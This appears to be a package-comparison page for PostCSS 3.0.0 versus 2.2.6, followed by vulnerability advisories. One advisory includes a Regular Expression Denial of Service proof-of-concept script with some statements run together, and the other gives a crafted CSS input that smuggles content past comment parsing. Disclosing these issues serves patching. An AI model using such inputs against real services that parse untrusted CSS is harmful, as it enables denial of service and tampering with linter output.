PostCSS version 3.0.0 represents an evolution from its predecessor, version 2.2.6, offering developers enhancements and changes in its tooling and dependencies. Both versions share the core description as a framework for CSS postprocessors with full source map support, indicating the project's continued commitment to empowering developers with robust CSS transformation capabilities. The foundational dependencies, js-base64 and source-map, remain consistent, signifying stability in core functionalities for Base64 encoding and source map handling.
The significant changes lie within the development dependencies, revealing shifts in the build process and testing ecosystem. Version 3.0.0 introduces 6to5, gulp-6to5, stylecow, through2, gulp-bench, execSync, and an updated version of gulp, suggesting a transition towards more modern JavaScript transpilation and build workflows. In contrast, version 2.2.6 relied on es6-transpiler and gulp-es6-transpiler which were dropped in the newer version, reflecting a move to newer tooling. The updates in testing dependencies like mocha and should point to enhanced testing capabilities and assertion libraries.
For developers considering PostCSS, these changes imply that version 3.0.0 embraced more contemporary JavaScript standards and build tools, potentially offering performance improvements, better compatibility with newer language features, and a more streamlined development experience. The introduction of tools like gulp-bench indicates an increased focus on performance testing. While version 2.2.6 remains a viable option, version 3.0.0 offers a modernized toolchain and may be preferred for projects aiming to leverage the latest web development technologies. Developers should evaluate their project's existing build pipelines and JavaScript requirements to determine the most suitable version.
All the vulnerabilities related to the version 3.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.